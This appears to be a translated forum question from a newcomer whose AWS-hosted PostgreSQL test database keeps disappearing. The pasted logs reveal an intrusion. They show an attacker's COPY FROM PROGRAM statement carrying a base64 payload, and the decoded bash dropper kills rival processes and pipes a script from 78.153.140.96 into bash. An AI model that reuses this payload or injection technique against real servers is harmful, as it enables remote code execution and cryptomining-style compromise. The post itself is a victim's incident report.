为什么我的测试用户数据库经常丢失?我会让我的 AWS 实例在夜间停止运行,然后在早上重新启动它。但是我无法使用我的 jdtest 用户帐户登录!我不断收到
为什么我的测试用户数据库经常丢失?
我会让 AWS 实例停止一夜,然后在早上重新启动它。但是,我无法使用我的 jdtest
用户帐户登录!
我的系统日志中不断出现以下内容
/var/lib/postgresql/log/postgresql-16-main.log
LOG: starting PostgreSQL 16.3 (Ubuntu 16.3-0ubuntu0.24.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, 64-bit
LOG: listening on IPv4 address "0.0.0.0", port 5432
LOG: listening on IPv6 address "::", port 5432
LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
LOG: database system was shut down at 2024-06-06 15:42:30 UTC
LOG: database system is ready to accept connections
jdtest@jdtest FATAL: database "jdtest" does not exist
jdtest@jdtest FATAL: database "jdtest" does not exist
我能解决这个问题的唯一方法是重新发布:
CREATE USER jdtest createdb login PASSWORD 'jdtest' ;
CREATE DATABASE jdtest owner jdtest;
GRANT ALL PRIVILEGES ON DATABASE jdtest TO jdtest;
但同样的问题不断发生。:-(
默认 AWS 实例中是否存在某种非永久性,而我作为新手却没有注意到?我是否应该创建某种(更永久的??)AWS 数据存储和关联的 postgres tbs?
笔记:
DROP DATABASE
没有
根据上述与 jarmod 和 Klaver 的对话,我在 postgresql 系统日志中发现以下内容:
2024-06-01 20:47:59.304 UTC [183888] pgg_superadmins@postgres STATEMENT: DROP TABLE IF EXISTS CGTmqavu;CREATE TABLE CGTmqavu(cmd_output text);COPY CGTmqavu FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJ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ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl 78.153.140.96/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- 78.153.140.96/pg.sh|bash
else
我将重建实例并限制其安全组以防止整个互联网的访问。
言 https://askto.pro/question/how-to-make-postgresql-work-with-telegram-bot#
https://cujo.com/blog/iot-malware-journals-prometei-linux/